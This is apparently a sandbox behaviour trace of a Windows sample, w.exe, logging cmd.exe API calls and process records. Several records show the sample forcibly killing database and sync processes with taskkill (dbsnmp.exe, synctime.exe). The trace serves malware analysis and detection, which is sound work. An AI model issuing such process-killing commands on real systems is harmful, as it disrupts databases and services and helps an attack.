	[0036.542] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0036.542] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0036.542] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0036.542] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0036.542] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0036.542] GetProcessHeap () returned 0x450000
	[0036.542] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x58) returned 0x463148
	[0036.542] GetProcessHeap () returned 0x450000
	[0036.542] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x1a) returned 0x465710
	[0036.545] GetProcessHeap () returned 0x450000
	[0036.545] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x30) returned 0x4631a8
	[0036.546] GetConsoleTitleW (in: lpConsoleTitle=0x16f75c, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0036.548] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0036.548] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0036.548] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0036.548] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0036.548] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0036.548] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0036.548] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0036.548] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0036.548] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0036.548] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0036.548] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0036.548] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0036.548] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0036.548] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0036.548] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0036.548] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0036.548] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0036.548] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0036.548] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0036.548] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0036.548] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0036.548] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0036.548] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0036.549] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0036.549] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0036.549] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0036.549] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0036.549] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0036.549] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0036.549] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0036.549] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0036.549] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0036.549] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0036.549] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0036.549] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0036.549] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0036.549] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0036.549] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0036.549] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0036.549] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0036.549] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0036.549] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0036.549] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0036.549] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0036.549] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0036.549] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0036.549] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0036.549] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0036.549] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0036.549] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0036.549] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0036.549] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0036.549] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0036.549] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0036.549] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0036.549] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0036.549] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0036.550] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0036.550] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0036.550] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0036.550] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0036.550] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0036.550] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0036.550] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0036.550] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0036.550] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0036.550] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0036.550] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0036.550] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0036.550] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0036.550] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0036.550] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0036.550] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0036.550] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0036.550] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0036.550] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0036.550] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0036.550] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0036.550] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0036.550] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0036.550] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0036.550] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0036.550] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0036.550] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0036.550] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0036.550] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0036.550] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0036.551] GetProcessHeap () returned 0x450000
	[0036.551] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x210) returned 0x4631e0
	[0036.551] GetProcessHeap () returned 0x450000
	[0036.551] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x42) returned 0x4633f8
	[0036.551] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0036.551] GetProcessHeap () returned 0x450000
	[0036.551] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x418) returned 0x4507f0
	[0036.551] SetErrorMode (uMode=0x0) returned 0x8003
	[0036.551] SetErrorMode (uMode=0x1) returned 0x0
	[0036.551] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4507f8, lpFilePart=0x16f27c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x16f27c*="Desktop") returned 0x25
	[0036.551] SetErrorMode (uMode=0x8003) returned 0x1
	[0036.551] GetProcessHeap () returned 0x450000
	[0036.551] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4507f0, Size=0x66) returned 0x4507f0
	[0036.551] GetProcessHeap () returned 0x450000
	[0036.551] RtlSizeHeap (HeapHandle=0x450000, Flags=0x0, MemoryPointer=0x4507f0) returned 0x66
	[0036.551] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a5f0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0036.552] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0036.552] GetProcessHeap () returned 0x450000
	[0036.552] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x120) returned 0x463448
	[0036.552] GetProcessHeap () returned 0x450000
	[0036.552] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x238) returned 0x450860
	[0036.553] GetProcessHeap () returned 0x450000
	[0036.553] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x450860, Size=0x122) returned 0x450860
	[0036.553] GetProcessHeap () returned 0x450000
	[0036.554] RtlSizeHeap (HeapHandle=0x450000, Flags=0x0, MemoryPointer=0x450860) returned 0x122
	[0036.554] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a5f0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0036.554] GetProcessHeap () returned 0x450000
	[0036.554] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xe0) returned 0x450990
	[0036.554] GetProcessHeap () returned 0x450000
	[0036.554] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x450990, Size=0x76) returned 0x450990
	[0036.554] GetProcessHeap () returned 0x450000
	[0036.554] RtlSizeHeap (HeapHandle=0x450000, Flags=0x0, MemoryPointer=0x450990) returned 0x76
	[0036.554] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0036.554] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x16eff8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16eff8) returned 0xffffffff
	[0036.554] GetLastError () returned 0x2
	[0036.554] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x16eff8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16eff8) returned 0xffffffff
	[0036.554] GetLastError () returned 0x2
	[0036.554] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0036.554] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x16eff8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16eff8) returned 0x463570
	[0036.554] GetProcessHeap () returned 0x450000
	[0036.554] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x450a10
	[0036.554] FindClose (in: hFindFile=0x463570 | out: hFindFile=0x463570) returned 1
	[0036.555] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x16eff8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16eff8) returned 0xffffffff
	[0036.555] GetLastError () returned 0x2
	[0036.555] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x16eff8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16eff8) returned 0x463570
	[0036.555] GetProcessHeap () returned 0x450000
	[0036.555] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x450a10, Size=0x4) returned 0x450a10
	[0036.555] FindClose (in: hFindFile=0x463570 | out: hFindFile=0x463570) returned 1
	[0036.555] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0036.555] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0036.555] GetConsoleTitleW (in: lpConsoleTitle=0x16f4f0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0036.555] InitializeProcThreadAttributeList (in: lpAttributeList=0x16f378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x16f440 | out: lpAttributeList=0x16f378, lpSize=0x16f440) returned 1
	[0036.555] UpdateProcThreadAttribute (in: lpAttributeList=0x16f378, dwFlags=0x0, Attribute=0x60001, lpValue=0x16f438, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x16f378, lpPreviousValue=0x0) returned 1
	[0036.555] GetStartupInfoW (in: lpStartupInfo=0x16f334 | out: lpStartupInfo=0x16f334*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xac, hStdOutput=0xb8, hStdError=0xbc)) 
	[0036.555] GetProcessHeap () returned 0x450000
	[0036.555] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x18) returned 0x463570
	[0036.555] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0036.555] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0036.555] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0036.555] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0036.556] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0036.556] GetProcessHeap () returned 0x450000
	[0036.557] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x463570 | out: hHeap=0x450000) returned 1
	[0036.557] GetProcessHeap () returned 0x450000
	[0036.557] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xa) returned 0x45fee0
	[0036.557] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0036.558] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im dbsnmp.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x16f3d4*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im dbsnmp.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x16f420 | out: lpCommandLine="taskkill  /f /im dbsnmp.exe ", lpProcessInformation=0x16f420*(hProcess=0x78, hThread=0x74, dwProcessId=0x984, dwThreadId=0x980)) returned 1
	[0036.563] CloseHandle (hObject=0x74) returned 1
	[0036.563] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0036.563] GetProcessHeap () returned 0x450000
	[0036.563] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x465ed0 | out: hHeap=0x450000) returned 1
	[0036.563] GetEnvironmentStringsW () returned 0x474a48*
	[0036.563] GetProcessHeap () returned 0x450000
	[0036.563] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb36) returned 0x464090
	[0036.563] FreeEnvironmentStringsW (penv=0x474a48) returned 1
	[0036.563] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0036.861] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x16f314 | out: lpExitCode=0x16f314*=0x80) returned 1
	[0036.861] CloseHandle (hObject=0x78) returned 1
	[0036.861] _vsnwprintf (in: _Buffer=0x16f45c, _BufferCount=0x13, _Format="%08X", _ArgList=0x16f320 | out: _Buffer="00000080") returned 8
	[0036.861] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0036.861] GetProcessHeap () returned 0x450000
	[0036.861] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x464090 | out: hHeap=0x450000) returned 1
	[0036.861] GetEnvironmentStringsW () returned 0x464090*
	[0036.861] GetProcessHeap () returned 0x450000
	[0036.861] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb5c) returned 0x465ed0
	[0036.861] FreeEnvironmentStringsW (penv=0x464090) returned 1
	[0036.861] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0036.861] GetProcessHeap () returned 0x450000
	[0036.861] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x465ed0 | out: hHeap=0x450000) returned 1
	[0036.862] GetEnvironmentStringsW () returned 0x464090*
	[0036.862] GetProcessHeap () returned 0x450000
	[0036.862] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb5c) returned 0x465ed0
	[0036.862] FreeEnvironmentStringsW (penv=0x464090) returned 1
	[0036.862] GetProcessHeap () returned 0x450000
	[0036.862] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x45fee0 | out: hHeap=0x450000) returned 1
	[0036.862] DeleteProcThreadAttributeList (in: lpAttributeList=0x16f378 | out: lpAttributeList=0x16f378) 
	[0036.862] _get_osfhandle (_FileHandle=1) returned 0xb8
	[0036.862] SetConsoleMode (hConsoleHandle=0xb8, dwMode=0x0) returned 0
	[0036.862] _get_osfhandle (_FileHandle=1) returned 0xb8
	[0036.862] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a5e41ac | out: lpMode=0x4a5e41ac) returned 0
	[0036.862] _get_osfhandle (_FileHandle=0) returned 0xac
	[0036.862] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x4a5e41b0 | out: lpMode=0x4a5e41b0) returned 0
	[0036.862] GetConsoleOutputCP () returned 0x1b5
	[0036.862] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a5e4260 | out: lpCPInfo=0x4a5e4260) returned 1
	[0036.862] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0036.862] exit (_Code=128) 

Process:
	id = "19"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x4e670000"
	os_pid = "0x984"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "18"
	os_parent_pid = "0x998"
	cmd_line = "taskkill  /f /im dbsnmp.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 143
	os_tid = 0x980


Thread:
	id = 144
	os_tid = 0x988


Thread:
	id = 145
	os_tid = 0x97c


Thread:
	id = 146
	os_tid = 0x978


Thread:
	id = 147
	os_tid = 0x974


Process:
	id = "20"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x4bfe7000"
	os_pid = "0x9bc"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im synctime.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 148
	os_tid = 0x9c0

	[0036.944] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3bff00 | out: lpSystemTimeAsFileTime=0x3bff00*(dwLowDateTime=0xfbafd470, dwHighDateTime=0x1d52dc4)) 
	[0036.944] GetCurrentProcessId () returned 0x9bc
	[0036.944] GetCurrentThreadId () returned 0x9c0
	[0036.944] GetTickCount () returned 0x197eb
	[0036.944] QueryPerformanceCounter (in: lpPerformanceCount=0x3bfef8 | out: lpPerformanceCount=0x3bfef8*=15725420657) returned 1
	[0036.945] GetModuleHandleA (lpModuleName=0x0) returned 0x4a7e0000
	[0036.945] __set_app_type (_Type=0x1) 
	[0036.945] __p__fmode () returned 0x74eb31f4
	[0036.945] __p__commode () returned 0x74eb31fc
	[0036.945] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a8021a6) returned 0x0
	[0036.946] __getmainargs (in: _Argc=0x4a804238, _Argv=0x4a804240, _Env=0x4a80423c, _DoWildCard=0, _StartInfo=0x4a804140 | out: _Argc=0x4a804238, _Argv=0x4a804240, _Env=0x4a80423c) returned 0
	[0036.946] GetCurrentThreadId () returned 0x9c0
	[0036.946] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x9c0) returned 0x60
	[0036.946] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0036.946] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0036.946] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0036.946] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0036.946] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x3bfe90 | out: phkResult=0x3bfe90*=0x0) returned 0x2
	[0036.947] VirtualQuery (in: lpAddress=0x3bfec7, lpBuffer=0x3bfe60, dwLength=0x1c | out: lpBuffer=0x3bfe60*(BaseAddress=0x3bf000, AllocationBase=0x2c0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0036.947] VirtualQuery (in: lpAddress=0x2c0000, lpBuffer=0x3bfe60, dwLength=0x1c | out: lpBuffer=0x3bfe60*(BaseAddress=0x2c0000, AllocationBase=0x2c0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0036.947] VirtualQuery (in: lpAddress=0x2c1000, lpBuffer=0x3bfe60, dwLength=0x1c | out: lpBuffer=0x3bfe60*(BaseAddress=0x2c1000, AllocationBase=0x2c0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0036.947] VirtualQuery (in: lpAddress=0x2c3000, lpBuffer=0x3bfe60, dwLength=0x1c | out: lpBuffer=0x3bfe60*(BaseAddress=0x2c3000, AllocationBase=0x2c0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0036.947] VirtualQuery (in: lpAddress=0x3c0000, lpBuffer=0x3bfe60, dwLength=0x1c | out: lpBuffer=0x3bfe60*(BaseAddress=0x3c0000, AllocationBase=0x3c0000, AllocationProtect=0x2, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c
	[0036.947] GetConsoleOutputCP () returned 0x1b5
	[0036.947] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a804260 | out: lpCPInfo=0x4a804260) returned 1
	[0036.947] SetConsoleCtrlHandler (HandlerRoutine=0x4a7fe72a, Add=1) returned 1
	[0036.947] _get_osfhandle (_FileHandle=1) returned 0xac
	[0036.947] SetConsoleMode (hConsoleHandle=0xac, dwMode=0x0) returned 0
	[0036.947] _get_osfhandle (_FileHandle=1) returned 0xac
	[0036.947] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x4a8041ac | out: lpMode=0x4a8041ac) returned 0
	[0036.947] _get_osfhandle (_FileHandle=0) returned 0xc8
